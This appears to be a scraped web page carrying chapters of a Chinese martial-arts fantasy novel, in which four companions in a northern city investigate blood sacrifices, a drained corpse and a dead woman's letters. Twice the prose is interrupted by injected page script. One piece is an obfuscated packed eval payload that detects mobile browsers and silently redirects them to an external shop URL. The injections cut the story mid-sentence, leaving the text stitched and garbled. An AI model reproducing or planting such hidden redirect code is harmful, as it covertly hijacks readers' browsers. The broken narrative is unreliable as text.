$(''.inform'').remove(); $(''#content'').append('' >他顿了顿。 “这几年,他们开始搞血祭。以前是杀牲口,用牲口的心头血浇在图腾柱上。这几年开始杀人了。说是……人血更纯,更能取悦图腾。” 姣姣皱眉:“取悦图腾?他们要图腾干什么?” 闻人奚郁沉默了一瞬。 “传说,血鹰图腾能赐予力量。献祭的人血越多,图腾赐予的力量越强。” 姜亦的眉头皱了一下:“真有这种事?” 闻人奚郁没有回答。 他只是看着窗外的天,看了很久。 “不知道。但呼延烈信。” 他又沉默了。 姣姣看着他,忽然觉得,这个平时笑眯眯的人,此刻像一座被雪压了很久的山。 不声不响,但你知道,那雪很重。 “闻人公子,”她开口,声音比平时轻了一些,“你认识那个呼延烈吗?” 闻人奚郁的手指在折扇上停了一瞬。 “认识。” 他顿了顿。 “我小时候,他来过北疆城。那时候他还不是部落首领,是他父亲带着他来的。他父亲跟当时的北疆主谈判,谈了很久,没谈拢。” 他低下头,看着自己的手。 “后来他父亲死了,他当了首领。从那以后,图腾部落就没消停过。” 姜亦忽然开口:“北疆王庭,一直没管?” 闻人奚郁没有说话。 姣姣看着他的侧脸,忽然想起早市上那几个人说的话—— “北疆主多久没露面了?” “北疆王庭干什么吃的?” 她张了张嘴,想问什么,但没问出来。 奕秋忽然开口了。 她的声音很平静,像是在说一件跟自己无关的事。 “图腾的事,跟北娣有关?” 闻人奚郁抬起头,看着她。 奕秋也看着他。 两个人对视了一瞬。 然后闻人奚郁笑了。 那笑容很淡,和平时那种笑眯眯的样子不一样。 “奕秋姑娘,”他说,“你的卦,果然什么都能算到。” 奕秋没有说话。 闻人奚郁站起来,走到窗边。他看着窗外灰蒙蒙的天,看了很久。 “北娣来北疆,查的就是图腾部落。” 他的声音很轻。 “她查到了一些东西。还没来得及说,就死了。” 屋里安静了一瞬。 姣姣的手指在膝盖上攥紧了。 姜亦端着茶杯的手,停在了半空。 奕秋的脸上没有表情,但她的手,在无尘剑的剑鞘上轻轻抚过。 “她查到的是什么?” 奕秋问。 闻人奚郁转过身,看着她们。 “她查到的,我现在还不能说。” 姣姣蹭地站起来:“为什么?” 闻人奚郁看着她,目光很平静。 “因为说了,会死人。” 姣姣愣住了。 闻人奚郁走回桌边,坐下,重新把折扇打开,慢悠悠地摇着。 他的脸上又挂上了那种笑眯眯的表情,但桃花眼里的笑意,没有到眼底。 “姣姣姑娘,北疆的事,比原终复杂得多。原终是朝堂上的事,查清楚了,该抓的抓,该杀的杀,就行了。” “但北疆不是。” 他顿了顿。 “北疆的事,是几百年的旧账。牵一发而动全身。不是查清楚就能解决的。” 姣姣看着他,沉默了很久。 然后她坐回去,把红狐裘裹紧。 “那你说,我们现在该干什么?” 闻人奚郁想了想。 “先查血祭的事。” 他收起折扇,目光扫过三个人。 “呼延烈每年冬天都会派人来北疆城附近抓人。这段时间已经死了三个巡夜的兵。王庭那边一直没有动作,不是不想动,是动不了。” “为什么动不了?” 姜亦问。 “因为王庭没有尊界三重以上的高手。”闻人奚郁说,“呼延烈是尊界三重,手底下有七个五道高手。王庭这边,能跟他硬碰硬的,只有一个人。” 他没有说那个人是谁。 但所有人都知道。 姣姣看着闻人奚郁,忽然问:“那你呢?” 闻人奚郁愣了一下。 “你什么境界?”姣姣问。 闻人奚郁沉默了一瞬,然后笑了。 “我一个不会武功的文弱书生,能有什么境界?” 姣姣盯着他看了两息,然后“切”了一声,没再问。 姜亦放下茶杯,看着闻人奚郁。 “那个呼延烈,交给我。” 闻人奚郁看着他,沉默了一瞬。 “姜亦,”他说,“你知道的,这件事没有那么简单。” “我答应过你们,一起查。”姜亦的声音很平静,“原终的事你们帮了,北疆的事,我也不会走。” 闻人奚郁看着他,看了很久。 然后他笑了。那笑容和之前不一样,不是那种笑眯眯的、什么都无所谓的笑,是一种很淡的、很认真的笑。 “好。” 奕秋忽然开口。 “图腾部落的地形,我需要在王庭找一份舆图。” 闻人奚郁点头:“王庭有。明天我带你去。” 姣姣举手:“那我呢?我干什么?” 闻人奚郁想了想。 “你再去早市吃几串羊肉串,跟那些北疆汉子聊聊天。多打听一些消息。” 姣姣瞪大眼睛:“你这是让我去玩?” 闻人奚郁笑了。 “不是玩。是打听消息。你刚才不是已经跟他们混熟了吗?” 姣姣愣了一下,然后咧嘴笑了。 “行吧。那我明天再去吃几串。” 她又想了想,笑着问:“北疆主好像快入尊界四重了。闻人公子,你知道这事儿吗?” 闻人奚郁的折扇停了一瞬。 当然不可能。 “是吗?”他说,语气很平淡,“那挺好的。” 姣姣看着他,总觉得他笑的样子有点奇怪,但说不上来哪里奇怪。 她没再问。 * 入夜。 窗外的天已经全黑了。 风还在刮,雪沫子打在窗户上,沙沙响。火炉里的炭烧得通红,橘红色的光落在四个人身上,把他们的影子投在墙上,交叠在一起。 姣姣靠在椅背上,把红狐裘裹紧,看着窗外黑沉沉的夜色。 她想起早市上那几个人说的话。 血被抽干了,胸口开了个洞。 她想起闻人奚郁说。 她查到了一些东西。 还没来得及说,就死了。 她想起奕秋说。 北娣很喜欢雪。 她忽然觉得,北疆的雪,好像不只是白色。 她翻了个身,闭上眼睛。 明天,还有很多事要做。 26. 残案惊心闻旧人 天还没亮透,姣姣就被一阵哭喊声吵醒了。 不是那种断断续续的抽泣,是撕心裂肺的、像是要把嗓子喊破的嚎哭。 声音从街上传来,穿过窗户,钻进她的梦里,把她从一堆乱七八糟的梦境里拽了出来。 她翻了个身,把被子蒙过头顶。 那声音还在哭。 她又翻了个身,面朝墙壁。 那声音更大了。 姣姣叹了口气,从床上坐起来,头发乱成鸟窝,眼睛还没睁开。 她坐在床沿上,听了一会儿。 不是做梦,是真的有人在哭。 她站起来,走到窗边,推开一条缝。 冷风灌进来,她缩了缩脖子,往下看。 天刚蒙蒙亮,街上的铺子还没开张,只有几个赶早市的挑着担子匆匆走过。 哭声从街对面传来。 一个妇人跪在地上,怀里抱着一个人。 那人的衣服上全是血。胸口一个大洞,血已经不流了,因为已经流干了。 姣姣的睡意瞬间散了。 她盯着那个伤口看了很久。 洞口边缘发黑,像是被什么烧过,又像是被什么腐蚀过。 那个妇人的手按在伤口上,满手是血,但血已经凝固了,黑红色的,糊在手指缝里。她哭得浑身发抖,头发散着,衣裳上全是泥。 姣姣转身,快步走到奕秋的房门前,敲了两下。 门开了。 奕秋已经穿戴整齐,白衣如雪,无尘剑挂在腰间。她看着姣姣,什么都没问,直接往楼下走。 姣姣跟在后面,一边走一边把头发拢到脑后,用一根红绳系住。 姜亦和闻人奚郁已经出来了。 姜亦换了一身墨绿色的劲装,左耳的麒麟坠在晨光里晃了晃。 闻人奚郁穿着那件玄紫色的厚棉袍,袖口束紧,腰里系着同色的带子。 他的脸上没有笑,折扇收在手里,指节微微泛白。 四个人下楼,推门出去。 冷风扑面,姣姣把红狐裘裹紧,快步走到街对面。 那个妇人还在哭,声音已经哑了,只剩下喉咙里发出的嘶嘶声。 她抱着那具尸体,摇摇晃晃,像是在哄一个睡着了的孩子。 奕秋蹲下来,低头看着那具尸体。 是个男人,三十来岁,穿着巡夜兵的皮袄,胸口一个大洞。 洞的边缘发黑,皮肉翻卷,但血已经不流了。 不是止住了,是流干了。 伤口周围的皮肤苍白得近乎透明,能看见下面的血管,但血管里是空的。 奕秋伸出手,指尖在伤口边缘轻轻触了一下。 她的手指停了一瞬,然后收回来,放在鼻尖下闻了闻。 姣姣凑过来:“怎么样?” 奕秋没说话,又闻了一下。 姣姣也蹲下来,凑近那个伤口。 她的鼻子比奕秋灵得多,一闻就闻出来了——不是血腥味,不是腐烂味,是一种极淡的、几乎察觉不到的草药味。 苦涩的,带着一丝辛辣,像是某种根茎类药材被碾碎后的气味。 她的脸色变了。 不是那种“发现线索”的变,是那种“认出了什么”的变。 姣姣突然想起来昨天早市上,那几个北疆人说的伤口特点。 她凑得更近了些,鼻尖几乎碰到伤口边缘,又闻了一下。 然后她直起身,蹲在那里,眉头皱起来。 姜亦站在旁边,看着她的表情:“怎么?” 姣姣没回答。 她盯着那个伤口,看了很久。 那个洞的边缘,皮肉翻出,不像是被利器挖开的,也不像是被爪子掏开的,更像是被什么东西从里面撑开的。 她的手指在膝盖上轻轻敲了两下。 “这不是普通的南水毒术。” 她开口,声音比平时轻了很多,像是在自言自语。 姜亦的眉头皱了一下:“南水毒术?” 姣姣没理他。 她又盯着那个伤口看了几息,然后站起来,退后一步。 姣姣的脸上没有那种惯常的、吊儿郎当的笑,而是一种很少见的、认真的表情。 眉头轻皱着,嘴唇抿着,像是在想一件很久远的事。 她开口,声音很轻。 “姹媛。” 就两个字。 姜亦看着她:“姹媛是谁?” 姣姣没回答。 她看向奕秋。 奕秋蹲在尸体旁边,手指还悬在伤口上方。她的脸上没什么表情,但她的手停在那里,没有收回来。 她看着姣姣,姣姣也看着她。 两个人对视了一瞬。 然后奕秋收回手,站起来。 姣姣移开目光,看向姜亦和闻人奚郁,脸上又挂上了那种笑嘻嘻的表情,但笑意没有到眼底。 “南水的一个毒师,”姣姣说,“很厉害那种,我师父跟我提过。说她的毒术路子很野,跟南水正统不太一样。喜欢用蚀骨散打底,再加一些乱七八糟的东西,弄出来的毒不伦不类,但就是解不了。” 她顿了顿,像是在回忆什么。 “蚀骨散是南水的方子,但正常用法是涂在兵器上,伤口会慢慢溃烂,三天之内不解,骨头就会软化。” “但姹媛不一样,她喜欢往里加别的东西。加什么,看心情。有时候是这个毒草,有时候另一种迷药,有时候是——”她看了一眼那具尸体,“有时候是能让人血被抽干的东西。” 姜亦的眉头皱得很紧。 “一个人被抽干了血,伤口还有蚀骨散的残留。” “这跟图腾部落的血祭有什么关系?” 姣姣摊手:“不知道。但我师父说过,姹媛这个人,不会无缘无故出现在一个地方。” 晨风拂面,携带着冷冽的寒意。 “那个人坐不住了。” 姣姣说话的气息很轻,像叹息。 闻人奚郁站在旁边,一直没有说话。 他的折扇收在手里,指节泛白,脸上的表情很淡,淡得像是什么都没在想。 但姣姣注意到,他的手指在发抖。 不是那种冷的抖,是那种…… 忍的抖。 她看了他一眼,没有问。 街上的人渐渐多起来。 有人认出那具尸体是巡夜的兵,围过来议论。 有人认出那个妇人是他的妻子,小声安慰。 有人去报了官。 有人去找了仵作。 人群越聚越多,声音越来越杂。 那个妇人已经不哭了。 她抱着那具尸体,坐在地上,眼睛直直地看着前方,嘴唇在动,但听不清在说什么。 姣姣蹲下来,从腰间摸出一个小瓷瓶,拔开瓶塞,递到妇人面前。 一股清凉的气味散开,妇人的眼睛动了一下,看着她。 “大姐,”姣姣的声音很轻,“您丈夫的事,我们会查。您先回去,别在这儿冻着了。” 妇人看着她,嘴唇动了动,没说话。 姣姣把瓷瓶塞到她手里:“这个您拿着,闻一闻,提神的。回头我再给您送些安神的药。” 妇人低头看着那个小瓷瓶,又抬头看着姣姣。 她的眼睛红红的,脸上的泪已经干了,留下两道白白的印子。 她张了张嘴,声音沙哑得几乎听不见:“姑娘……你们是什么人?” “路过的。” 那个妇人闻言一愣。 “但您放心,这案子,我们管。” 妇人看着她,看了很久。 然后她低下头,抱着那具尸体,又开始哭。这次不是嚎哭,是那种无声的、肩膀一抽一抽的哭。 姣姣站起来,退后一步。 奕秋已经走到人群外面了,白衣在风里翻飞,无尘剑的剑鞘在腰间轻轻晃动。 她站在那里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一切和昨天一样,但又不一样。 那具尸体被抬走的地方,地上还有一滩黑红色的血迹,被来往的行人踩得模糊不清。 * 回到客栈,姣姣把红狐裘脱下来搭在椅背上,走到火炉边蹲下,把手伸到炉子前面。 炉火烧得正旺,橘红色的光落在她脸上,把她的影子投在墙上。 奕秋坐在窗边,白狐裘搭在膝上,无尘剑横在腿边。 她的眼睛闭着,像是在打盹,又像是在想什么事。 姜亦站在窗边,看着街上的行人。 他的手指按在剑柄上,按得很轻,但一直没有松开。 闻人奚郁不见了。 姣姣烤了一会儿火,忽然发现少了一个人。 她扭头看了看大堂,又看了看楼梯口,没有那抹紫色。 “闻人公子呢?” 她问。 姜亦没回头:“回屋了。” “我先上去了,去找他聊聊。” 姣姣看着他,点点头。 她总觉得他知道了什么但没说。 她没问,转回头继续烤火。 火炉里的炭烧得通红,偶尔噼啪一声,溅出一两点火星。 姣姣盯着那些火星看了很久,脑子里翻来覆去都是那个伤口。 那个洞,那个边缘,那股气味。 姹媛。 她认识这个名字很久了。 不是“听说过”那种认识,是她知道这个人,但她不能说出来。 至少现在不能。 她回头看了一眼奕秋。 大堂里,火炉前,就只剩下了她们两个人。 奕秋闭着眼睛,脸上什么表情都没有。 忽然,奕秋睁开眼,淡声开口。 “闻人奚郁,认识北娣。” 27. 玄秘遗信入王庭 屋内。 闻人奚郁坐在窗边。 窗子开了一条缝,冷风从缝隙里钻进来,带着北疆夜里特有的凛冽。 月光从另一扇窗户照进来,落在他身上,把他那件淡紫色的衣袍照得泛着银白的冷光。 他没有披外袍。 他穿着一件单薄的中衣坐在那里,长发散着,被风轻轻吹动。 他看着窗外的月亮,神色很平静。 平静得不像他。 姜亦从屏风后面转出来,手里搭着一件墨色的披风。 他走到闻人奚郁身后,把披风轻轻披在他肩上。 “你虽然内力深厚,但还是该爱惜一下自己的身体,别染了风寒。” 姜亦说。 闻人奚郁抬起头。 月光落在他脸上,把那双向来含笑的桃花眼照得很清楚。 此刻那双眼睛里没有笑,只有一种很淡的、像是隔了一层薄雾的东西。 他的目光落在姜亦脸上,停了一瞬,然后往下移了一点。 落在姜亦左耳的麒麟坠上。 闻人奚郁眯了眼。 然后伸出手,指尖轻轻拨了一下那枚耳坠,赤金的麒麟在月光下晃了晃,发出一声极轻的脆响。 姜亦一愣。 然后闻人奚郁熟悉的声音响起。 “我看还是原终主更需要这件衣服吧。”他的声音很轻,带着一点笑意,“毕竟你们原终人——” “滚。” 姜亦的声音从牙缝里挤出来,但没有任何真正的怒意。 闻人奚郁笑了。 那笑容很轻,像月光落在水面上荡开的一圈涟漪,很快就散了。 然后他的表情又恢复了那种平静。 不是刚才那种“什么都无所谓”的平静,是一种更深的东西,像是一个人坐在很深很深的水底,水面上的声音传不下去,水面下的东西也浮不上来。 姜亦在他旁边坐下,没有催他。 两个人并肩坐着,看着窗外的月亮。月光把他们的影子投在墙上,交叠在一起。 过了很久,姜亦开口。 “你在想什么?” 闻人奚郁沉默了一会儿。 “早上,那个伤口。” 姜亦的眉头皱了一下。 “伤口?” “和当时北娣的,一模一样。” 闻人奚郁的声音很轻,轻得像是怕惊动什么。但他的手指,在袖子里攥紧了。 姜亦看着他,沉默了很久。 “北娣?”姜亦开口,声音比平时低了一些,“她不是死在长公主府吗?为什么会和姣姣说的那个南水毒师有关系?” 闻人奚郁没有立刻回答。 他看着窗外的月亮,看了很久。 月光照在他脸上,把那层淡薄的表情照得几乎透明。 “也许,是那个姹媛,当时一直在长公主府——” “不可能。” 姜亦打断他,声音很笃定。 “有人进入原终,我会不知道?” 闻人奚郁没有说话。 他转过头,看着姜亦。 两个人对视了一瞬。 姜亦的眉头忽然皱得更紧了。 “除非——” 闻人奚郁接话,他的声音很轻,像是在说一件很久以前的事。 “除非,她的境界,比你要高得多。” …… 沉默。 很长很长的沉默。 窗外的风大了一些,把窗缝里的冷气吹进来,落在两个人身上。 姜亦没有动,闻人奚郁也没有动。 过了很久,姜亦抬起眼眸,看着窗外的月亮。 月光很亮,亮得有些不正常。 不是那种清冷的、干净的亮,而是一种带着颜色的、像是被什么东西染过的亮。 是红色。 月亮泛着血色。 “看来北疆的案件,比原终要复杂得多。” 姜亦的声音很平静,平静得像是在说一件跟自己无关的事。 “牵扯的人……也不是我们能轻易对付的。” 闻人奚郁没有说话。 他只是点了点头。 窗外的月亮挂在天边,泛着那层若有若无的红。 两个人坐在窗边,谁都没有再说话。 披风还搭在闻人奚郁肩上,他没有推回去,姜亦也没有收回来。 月光照在两个人身上,把他们的影子投在墙上,交叠在一起,分不清谁是谁的。 * 第二天,天还没亮透,闻人奚郁就起来了。 他穿上了那件淡紫色的厚棉袍,袖口束紧,腰里系着同色的带子。 长发用一根银色的发带束起,露出那张温润如玉的脸。 折扇收在手里,站在门口等他们。 姜亦从房间里出来,换了一身墨绿色的劲装,左耳的麒麟坠在晨光里晃了晃。 他看了一眼闻人奚郁。 闻人奚郁冲他笑了笑,还是那种笑眯眯的、什么都无所谓的笑。 姜亦没说话,但嘴角微微动了一下。 姣姣从房间里出来,裹着那件红狐裘,头发随便扎了个髻,嘴里还叼着一块昨晚剩的桂花糕。 她看见闻人奚郁,含糊不清地说:“闻人公子,你今天精神不错啊。” 闻人奚郁笑了:“姣姣姑娘今天也精神。” “那是。”姣姣把桂花糕咽下去,拍了拍手上的渣,“我哪天不精神?” 奕秋从楼梯上走下来,白衣如雪,无尘剑挂在腰间。 她的脸上没什么表情,但目光在闻人奚郁身上停了一瞬,然后移开。 四个人出了客栈。 北疆城的早晨还是那么冷。 风从街口灌进来,裹着雪沫子,打在脸上生疼。 姣姣把红狐裘的领子往上拽了拽,缩着脖子跟在闻人奚郁身后。 闻人奚郁走在最前面。 他不冷,步伐不快不慢,像是在散步。 但姣姣注意到,他走的路不是昨天那条。 “闻人公子,咱们去哪儿?” “王庭。” 姣姣愣了一下:“王庭?北疆王庭?” “嗯。” “去那儿干嘛?” “查卷宗。”闻人奚郁的声音很平静,“关于图腾部落的。” 姣姣没再问,跟在他身后。 街上的人渐渐多起来。 卖烤肉的摊子冒着白烟,卖皮货的铺子门口挂着整张的狼皮,卖烈酒的汉子扯着嗓子吆喝。 一切和昨天一样。 但姣姣注意到,街上的人看见闻人奚郁,目光不一样。 不是那种“看一个陌生人”的目光,是一种更复杂的、说不清的东西。 像是敬畏,像是好奇,又像是…… 他们已经知道他是谁,但不敢认。 一个卖烤肉的老汉看见闻人奚郁,手里的铁签子掉在地上,愣愣地看着他走远。 旁边的人推了他一把,他才回过神来,弯腰捡起铁签子,擦了擦,继续翻烤架上的肉。 但他的眼睛,一直追着那个淡紫色的背影。 姣姣看见了,没问。 * 王庭在北疆城的正中央。 不是原终那种金碧辉煌的宫殿,是一座用巨大青石垒起来的建筑群,墙面上没有任何装饰,只有岁月留下的斑驳痕迹。 大门是黑色的,门楣上刻着一只展翅的鹰,鹰眼是两颗暗红色的石头,在晨光里泛着幽光。 门口站着两排守卫,穿着厚厚的皮甲,腰间悬着短刀,帽子上有毛边,脸被风吹得通红。 他们看见闻人奚郁,同时愣了一下,然后齐刷刷地单膝跪地。 他们刚想说话。 闻人奚郁没有停步。 “叫我闻人公子就行。” 他的声音很轻,但那些守卫听见了。 想下跪的动作停住了,替之而来的是一种很带有江湖气、北疆豪放的作揖礼。 “见过闻人公子。” 姣姣跟在后面,小声对奕秋说:“小姐,闻人公子在这儿,好像挺有排面的。” 奕秋没说话。 姜亦走在她旁边,看了她一眼,也没说话。 卷宗库在王庭的最深处。 是一间很大的石室,四面墙都是书架,从地面一直顶到天花板。 书架上堆满了卷轴和册子,有的用牛皮绳扎着,有的散开着,纸页发黄,边缘卷曲。 空气里弥漫着陈旧纸张和墨汁的气味,还有一股淡淡的霉味。 一个老头从书架后面转出来。 他穿着洗得发白的灰袍,背微微驼了,头发全白了,但眼睛很亮。 他看见闻人奚郁,整个人愣在原地。 “主——” “叫我闻人公子就行。” 老头张了张嘴,眼眶红了。他站在那里,看着闻人奚郁,看了很久。 然后他低下头,声音沙哑:“公子,您回来了。” 闻人奚郁看着他,沉默了一瞬。 “李伯,好久不见。” 老头的眼泪掉下来了。 明明前几天刚见过,但眼泪就是止不住。 太久没见了。 李伯伸手抹了一把,又抹了一把,但眼泪止不住。 他站在那里,像个孩子一样哭,但一点声音都没有。 闻人奚郁没有安慰他。 他只是站在那里,等李伯哭完。 过了很久,李伯终于止住了眼泪。他用袖子擦了擦脸,深吸一口气,声音还有些哑:“公子,您要找什么?” “图腾部落的卷宗。” “近十年的,全部。” 李伯点了点头,转身走进书架深处。 他的背还是驼的,但步伐比刚才快了很多。 姣姣站在门口,看着这一幕。 她看了闻人奚郁一眼,又看了姜亦一眼,什么都没说。 奕秋一个人走进书架深处。 她没有叫任何人帮忙,从最里面的书架开始,一卷一卷地翻。 卷宗很旧,有的纸已经脆了,一碰就掉渣。 她的动作很轻,每一卷都翻开看几页,然后放下,再拿下一卷。 姣姣在外面待了一会儿,觉得无聊,就跑到台阶上坐着嗑瓜子。 姜亦站在院子里练剑,剑光在晨光里一闪一闪。 闻人奚郁站在窗前,看着远处的雪山,一动不动。 日头从东边移到西边。 姣姣嗑了一地的瓜子壳,姜亦练了三遍剑法,闻人奚郁还站在窗前。 太阳快要落山的时候,奕秋从卷宗库里走出来。 奕秋的手上全是灰,白衣的袖口也蹭脏了。 但她手里拿着几封信,信纸发黄,边缘卷曲,但字迹还能看清。 她走到闻人奚郁面前,把信递给他。 闻人奚郁接过,低头看了一眼。 然后他的脸色变了。 不是那种“惊讶”的变,是那种——他等了很多年,终于等到了的变。 姜亦收剑走过来。 姣姣从台阶上跳起来,拍了拍衣摆上的灰,凑过来。 闻人奚郁把信递给他们。 信是北娣写的。 字迹很潦草,有的地方墨迹洇开了,看不清。 但能读出来的部分,每一个字都像钉子一样扎进人心里。 第一封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437491|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “师姐,师父,北娣一切安好,但是我要去干一件事。” “我要去闯图腾部落。” “我要把宿莽带回来。” 第二封。 “宿莽死了。他的尸体,我找不到。” “师姐,我查到了很多事,事关东夷安危,我没有退路了,我必须查下去。” “原终长公主和北疆图腾部落有勾结。他们在用活人祭祀,唤醒上古图腾。” “我进去的时候,图腾压制了我的境界,但是我杀出来了。” “我还见到了呼延烈,我把他打了一顿,毁了几个大图腾,他们要发愁一段时间了。” 第三封。 “师父,师姐。” “我要去原终杀了姜未玉,引出她背后的人。” “我知道,只要那幕后之人出现,你们一定会查到原因的。” “我起过卦了,我知道,别怪我。” “师姐,若我死在长公主府,我的死因卦术肯定算不出来,不要再查了,小心。” “幕后之人,不在青穹榜统计之内,势力不明,但他们一定很强,我算不到他们的事。” “还有——替我跟师父说,对不起,我回不去了。” 第四封。 “师姐,师父。” “对不起。” “勿念,勿念。” 信纸在姣姣手里微微发颤。 她的脸上没有表情,但她的手指在发抖。 奕秋站在那里,白衣如雪,脸上什么表情都没有。 但她的手,在无尘剑的剑鞘上轻轻抚过。 那是她紧张的时候才会做的动作。 姣姣看见了,但什么都没说。 她把信折好,还给奕秋。 奕秋接过信,收进袖中。 闻人奚郁站在窗前,看着远处的雪山。 他的脸上没有表情,但他的手指在袖子里攥得很紧,指节泛白。 姜亦走到他身边,什么都没说,只是站在那里。 两个人并肩站着,看着远处的雪山。 太阳从雪山后面落下去,把天边染成金红色。 那颜色落在那座山上,像是给山镀了一层血。 姣姣站在台阶上,看着他们的背影。 她张了张嘴,想说什么,但没说出来。 她走到奕秋身边,伸出手,握住了奕秋的手。 奕秋的手指很凉,像冰。 姣姣握紧了一点。 奕秋没有抽回手。 * 回客栈的路上,天已经黑了。 街上的人少了,铺子关了门,只有几个卖夜宵的摊子还亮着灯。 风比白天更冷,姣姣把红狐裘裹紧,跟在奕秋身后。 闻人奚郁走在最前面,步伐不紧不慢。他的背影在月光下显得很单薄,淡紫色的衣袍被风吹得翻飞。 姜亦走在他旁边,什么都没说。 走到半路,奕秋忽然停下来。 姣姣愣了一下,也跟着停下来。 奕秋站在街边,看着远处的雪山。 月光落在她脸上,把那张清冷的脸照得几乎透明。 姣姣顺着她的目光看过去。 雪山在月光下泛着银白色的光,山顶的积雪像一顶白帽子。 那座山看起来很近,又很远。 “怎么了?” 姣姣问。 奕秋没有立刻回答。 她看着那座山,看了很久。 然后她开口,声音很轻,轻得像是怕惊动什么。 “北娣死之前,来过这里。” 姣姣愣了一下。 “这里?北疆城?” “嗯。”奕秋的目光还落在那座山上,“她从这里出发,再也没有回来。” 姣姣张了张嘴,想说什么,但没说出来。 姣姣伸出手,握住了奕秋的手。 奕秋的手指还是凉的。 姣姣握紧了一点。 姜亦和闻人奚郁走在前面,没有注意到她们停下来。 走出十几步,姜亦发现身后没人了,回头看了一眼。 姣姣和奕秋站在街边,手牵着手,看着远处的雪山。 月光落在她们身上,把她们的红衣和白裙照得泛着银光。 姜亦没有叫她们。 他站在那里,等她们跟上来。 闻人奚郁也停下来,站在他身边。 两个人并肩站着,看着远处的雪山,和雪山下的两个人。 风从街口灌进来,裹着雪沫子,打在他们脸上。 姜亦忽然开口:“她会好起来的。” 闻人奚郁没有回答。 他只是看着远处那个白色的身影,看了很久。 然后他点了点头。 “嗯。” 奕秋和姣姣终于跟上来了。 姣姣的眼睛有点红,但她在笑。 她走到姜亦身边,拍了拍他的肩膀:“姜大侠,你在这儿站着干嘛?不冷啊?” 姜亦看了她一眼,没说话。 姣姣又跑到闻人奚郁面前:“闻人公子,你饿不饿?我闻到前面有卖烤肉的。” 闻人奚郁笑了:“走吧。” 四个人继续往回走。 姣姣走在最前面,红狐裘在风里翻飞,像一团烧在雪地里的火。 奕秋跟在她身后,白衣如雪。 姜亦和闻人奚郁走在最后面。 月光洒下来,把四个人的影子拉得很长,交叠在一起,又分开。 远处,雪山沉默地立在那里。 月光落在山顶的积雪上,泛着银白色的光。 那座山下面,埋葬着北娣最后走过的路。 28. 天顶夜话北疆寒 回到客栈,天色已经彻底暗了。 姣姣把红狐裘脱下来搭在椅背上,走到火炉边蹲下,把手伸到炉子前面。 火苗跳动着,橘红色的光落在她脸上,把那张被冷风吹得发白的小脸照出一点血色。 她蹲了一会儿,忽然站起来。 “我不想在屋里吃。” 姜亦正在擦剑,闻言抬眼:“那你想在哪吃?” “楼顶。”姣姣的眼睛亮了一下,“客栈楼顶有个天台,我刚才回来的时候看见了。能看见月亮。” 闻人奚郁正坐在桌边斟茶,闻言抬起头,看了她一眼。 月光从窗户漏进来,落在他脸上,把那双向来含笑的桃花眼照得很亮。 “楼顶?你不怕冷?” “怕啊。”姣姣理直气壮,“但我想看月亮。北疆的月亮,跟南边不一样。昨天我在窗边看了一眼,又大又圆,挂在天上,像一盏灯。” 奕秋坐在角落里,白狐裘搭在膝上,无尘剑横在腿边。 她闭着眼睛,像是在打盹。 但姣姣说完“想看月亮”的时候,她的手指在剑鞘上停了一瞬。 闻人奚郁放下茶壶,站起来。 “等着。” 他推门出去了。 姣姣愣了一下:“他去哪了?” 姜亦继续擦剑,头也不抬:“买火炉。” “……买火炉?”姣姣眨眨眼,“买火炉干什么?” “你不是要去楼顶吗?” 姣姣愣了一瞬,然后笑了。 她跑到窗边,推开一条缝,冷风灌进来,她缩了缩脖子,往下看。 闻人奚郁已经走到街上了。淡紫色的衣袍在风里翻飞,步伐不紧不慢,像是在散步。 他走到街对面的铺子前,敲了敲门,跟掌柜说了几句话,掌柜连连点头,转身进去了。 姣姣趴在窗台上,看着他的背影,忽然回头冲姜亦说:“姜大侠,闻人公子这个人,真的很好。” 姜亦没说话,但他的嘴角微微动了一下。 不过一会儿,闻人奚郁回来了。 不是一个人回来的。 身后跟着三个伙计,每人怀里抱着两个火炉,还有一个扛着一大捆厚毡毯。 五个火炉,铁的,上面雕着北疆特有的兽纹,炉膛里已经添好了炭。 伙计们把火炉搬上楼顶,在天台上一字排开,又铺好毡毯,这才退下去。 闻人奚郁站在天台上,检查了一遍火炉的位置,又伸手试了试风向,把其中一个往旁边挪了半尺。 姣姣裹着红狐裘,站在楼梯口,看着这一幕,嘴张了又合,合了又张。 “闻人公子,你……你把人家铺子的火炉全搬来了?” 闻人奚郁转过身,拍了拍手上的灰,笑眯眯地说:“不多。五个,一人一个,还多一个备用。” “可是——”姣姣看着那些火炉,“我们只有四个人。” 闻人奚郁想了想。 “还有一个,怕你冷。” 姣姣愣了一瞬,然后笑出了声。 她跑到天台上,在每个火炉前蹲了一下,把手伸到炉子前面试温度,橘红色的火光映在她脸上,把她的笑容照得发亮。 “不冷了!”她回头冲楼梯口喊,“小姐!姜大侠!快上来!上面可暖和了!” 奕秋从楼梯口走上来,白狐裘披在身上,无尘挂在腰间。 她扫了一眼那些火炉,目光在闻人奚郁身上停了一瞬,然后走到最边上那个火炉前坐下。 姜亦跟在后面,手里提着两个食盒。 他把食盒放在毡毯上,在奕秋旁边坐下,看了一眼那些火炉,又看了一眼闻人奚郁。 “你怎么买的?” “你出去的时候,什么都没带。” 闻人奚郁笑了。 “北疆城,我刷脸。” 姜亦沉默了一瞬,没再问。 食盒打开,热气冒出来。 羊肉串烤得焦黄,肥肉的地方滋滋冒油,撒了孜然和辣椒面,香气直往鼻子里钻。 烤馕是刚出炉的,表面撒着芝麻,掰开的时候热气腾腾,里面软外面脆。 烤肉切得厚实,用铁签子串着,咬一口,汁水在嘴里炸开。 姣姣左手举着一串羊肉串,右手举着一块烤馕,嘴里还嚼着烤肉,两颊鼓鼓的,像一只仓鼠。 “好次!”她含糊不清地说,“北疆的肉,真的比南边好次!” 奕秋坐在她旁边,吃得很慢。 